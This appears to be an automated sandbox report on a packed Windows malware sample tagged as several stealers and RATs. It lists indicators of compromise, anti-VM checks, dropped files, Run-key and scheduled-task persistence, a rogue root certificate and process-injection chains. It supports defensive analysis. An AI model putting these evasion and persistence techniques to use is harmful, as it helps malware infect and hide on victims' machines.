Malware Analysis Report

2024-09-23 01:03

Sample ID 240513-rptqxaba26
Target 71bb87a3b9150e8951eab42f842a784a8cbb6c6f4556d44d3f814f47dc584d94
SHA256 71bb87a3b9150e8951eab42f842a784a8cbb6c6f4556d44d3f814f47dc584d94
Tags
themida amadey lumma redline risepro stealc xworm zgrat 1 @cloudytteam evasion execution infostealer persistence rat stealer trojan stormkitty spyware
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

71bb87a3b9150e8951eab42f842a784a8cbb6c6f4556d44d3f814f47dc584d94

Threat Level: Known bad

The file 71bb87a3b9150e8951eab42f842a784a8cbb6c6f4556d44d3f814f47dc584d94 was found to be: Known bad.

Malicious Activity Summary

themida amadey lumma redline risepro stealc xworm zgrat 1 @cloudytteam evasion execution infostealer persistence rat stealer trojan stormkitty spyware

Detect ZGRat V1

Xworm

RedLine payload

ZGRat

RedLine

Stealc

StormKitty payload

Amadey

Contains code to disable Windows Defender

Lumma Stealer

RisePro

Detect Xworm Payload

StormKitty

Identifies VirtualBox via ACPI registry values (likely anti-VM)

Blocklisted process makes network request

Downloads MZ/PE file

Command and Scripting Interpreter: PowerShell

Creates new service(s)

Stops running service(s)

Checks computer location settings

Checks BIOS information in registry

Loads dropped DLL

Drops startup file

Identifies Wine through registry keys

Executes dropped EXE

Themida packer

Reads user/profile data of web browsers

Adds Run key to start application

Legitimate hosting services abused for malware hosting/C2

Checks whether UAC is enabled

Looks up external IP address via web service

Suspicious use of SetThreadContext

Suspicious use of NtSetInformationThreadHideFromDebugger

Drops file in Program Files directory

Drops file in Windows directory

Launches sc.exe

Unsigned PE

Program crash

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Suspicious behavior: AddClipboardFormatListener

Suspicious use of AdjustPrivilegeToken

Uses Task Scheduler COM API

Suspicious use of SetWindowsHookEx

Suspicious behavior: EnumeratesProcesses

Modifies system certificate store

Creates scheduled task(s)

Modifies registry class

MITRE ATT&CK Matrix V13

Analysis: static1

Detonation Overview

Reported

2024-05-13 14:22

Signatures

Themida packer

themida
Description Indicator Process Target
N/A N/A N/A N/A

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-13 14:22

Reported

2024-05-13 14:25

Platform

win10v2004-20240426-en

Max time kernel

89s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\71bb87a3b9150e8951eab42f842a784a8cbb6c6f4556d44d3f814f47dc584d94.exe"

Signatures

Amadey

trojan amadey

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Detect ZGRat V1

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Lumma Stealer

stealer lumma

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

RisePro

stealer risepro

Stealc

stealer stealc

Xworm

trojan rat xworm

ZGRat

rat zgrat

Identifies VirtualBox via ACPI registry values (likely anti-VM)

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\1000006002\e95da54c34.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\71bb87a3b9150e8951eab42f842a784a8cbb6c6f4556d44d3f814f47dc584d94.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe N/A

Creates new service(s)

persistence execution

Downloads MZ/PE file

Stops running service(s)

evasion execution

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\1000006002\e95da54c34.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\71bb87a3b9150e8951eab42f842a784a8cbb6c6f4556d44d3f814f47dc584d94.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\1000006002\e95da54c34.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\71bb87a3b9150e8951eab42f842a784a8cbb6c6f4556d44d3f814f47dc584d94.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\71bb87a3b9150e8951eab42f842a784a8cbb6c6f4556d44d3f814f47dc584d94.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
N/A N/A C:\Users\Admin\1000006002\e95da54c34.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
N/A N/A C:\Program Files (x86)\GameSyncLink\GameService.exe N/A
N/A N/A C:\Program Files (x86)\GameSyncLink\GameService.exe N/A
N/A N/A C:\Program Files (x86)\GameSyncLink\GameService.exe N/A
N/A N/A C:\Program Files (x86)\GameSyncLink\GameService.exe N/A
N/A N/A C:\Program Files (x86)\GameSyncLink\GameService.exe N/A
N/A N/A C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe N/A
N/A N/A C:\Windows\Temp\225297.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000007001\swizzhis.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
N/A N/A C:\Users\Admin\1000006002\e95da54c34.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
N/A N/A C:\Program Files (x86)\GameSyncLink\GameService.exe N/A
N/A N/A C:\Program Files (x86)\GameSyncLink\GameService.exe N/A
N/A N/A C:\Program Files (x86)\GameSyncLink\GameService.exe N/A
N/A N/A C:\Program Files (x86)\GameSyncLink\GameService.exe N/A
N/A N/A C:\Program Files (x86)\GameSyncLink\GameService.exe N/A
N/A N/A C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe N/A
N/A N/A C:\Windows\Temp\225297.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000007001\swizzhis.exe N/A

Identifies Wine through registry keys

evasion
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows\Temp\225297.exe N/A
N/A N/A C:\Windows\Temp\225297.exe N/A

Themida packer

themida
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\e95da54c34.exe = "C:\\Users\\Admin\\1000006002\\e95da54c34.exe" C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A

Checks whether UAC is enabled

evasion trojan
Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\71bb87a3b9150e8951eab42f842a784a8cbb6c6f4556d44d3f814f47dc584d94.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\1000006002\e95da54c34.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A pastebin.com N/A N/A
N/A iplogger.com N/A N/A
N/A iplogger.com N/A N/A
N/A pastebin.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A api.myip.com N/A N/A
N/A ipinfo.io N/A N/A
N/A ipinfo.io N/A N/A
N/A ip-api.com N/A N/A
N/A api.myip.com N/A N/A

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files (x86)\GameSyncLink\installc.bat C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe N/A
File created C:\Program Files (x86)\GameSyncLink\installg.bat C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe N/A
File opened for modification C:\Program Files (x86)\GameSyncLink\installm.bat C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe N/A
File opened for modification C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe N/A
File opened for modification C:\Program Files (x86)\GameSyncLink\installg.bat C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe N/A
File created C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe N/A
File created C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe N/A
File created C:\Program Files (x86)\GameSyncLink\GameService.exe C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe N/A
File opened for modification C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe N/A
File created C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe N/A
File opened for modification C:\Program Files (x86)\GameSyncLink\installc.bat C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe N/A
File created C:\Program Files (x86)\GameSyncLink\installm.bat C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe N/A
File opened for modification C:\Program Files (x86)\GameSyncLink\GameService.exe C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe N/A
File opened for modification C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Tasks\explorku.job C:\Users\Admin\AppData\Local\Temp\71bb87a3b9150e8951eab42f842a784a8cbb6c6f4556d44d3f814f47dc584d94.exe N/A
File created C:\Windows\Tasks\axplons.job C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe N/A

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\System32\schtasks.exe N/A

Modifies system certificate store

evasion spyware trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61 C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe N/A
Token: SeBackupPrivilege N/A C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe N/A
Token: SeBackupPrivilege N/A C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 324 wrote to memory of 2096 N/A C:\Users\Admin\AppData\Local\Temp\71bb87a3b9150e8951eab42f842a784a8cbb6c6f4556d44d3f814f47dc584d94.exe C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
PID 324 wrote to memory of 2096 N/A C:\Users\Admin\AppData\Local\Temp\71bb87a3b9150e8951eab42f842a784a8cbb6c6f4556d44d3f814f47dc584d94.exe C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
PID 324 wrote to memory of 2096 N/A C:\Users\Admin\AppData\Local\Temp\71bb87a3b9150e8951eab42f842a784a8cbb6c6f4556d44d3f814f47dc584d94.exe C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
PID 2096 wrote to memory of 4972 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
PID 2096 wrote to memory of 4972 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
PID 2096 wrote to memory of 4972 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
PID 2096 wrote to memory of 3316 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe
PID 2096 wrote to memory of 3316 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe
PID 2096 wrote to memory of 3316 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe
PID 3316 wrote to memory of 1904 N/A C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
PID 3316 wrote to memory of 1904 N/A C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
PID 3316 wrote to memory of 1904 N/A C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
PID 2096 wrote to memory of 4764 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\1000006002\e95da54c34.exe
PID 2096 wrote to memory of 4764 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\1000006002\e95da54c34.exe
PID 2096 wrote to memory of 4764 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\1000006002\e95da54c34.exe
PID 1904 wrote to memory of 5000 N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe
PID 1904 wrote to memory of 5000 N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe
PID 1904 wrote to memory of 5000 N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe
PID 5000 wrote to memory of 1192 N/A C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 5000 wrote to memory of 1192 N/A C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 5000 wrote to memory of 1192 N/A C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 5000 wrote to memory of 1192 N/A C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 5000 wrote to memory of 1192 N/A C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 5000 wrote to memory of 1192 N/A C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 5000 wrote to memory of 1192 N/A C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 5000 wrote to memory of 1192 N/A C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1192 wrote to memory of 4036 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe
PID 1192 wrote to memory of 4036 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe
PID 1192 wrote to memory of 4036 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe
PID 1192 wrote to memory of 2908 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe
PID 1192 wrote to memory of 2908 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe
PID 1904 wrote to memory of 1704 N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe
PID 1904 wrote to memory of 1704 N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe
PID 1904 wrote to memory of 1704 N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe
PID 1704 wrote to memory of 4824 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1704 wrote to memory of 4824 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1704 wrote to memory of 4824 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1704 wrote to memory of 4824 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1704 wrote to memory of 4824 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1704 wrote to memory of 4824 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1704 wrote to memory of 4824 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1704 wrote to memory of 4824 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1704 wrote to memory of 4824 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
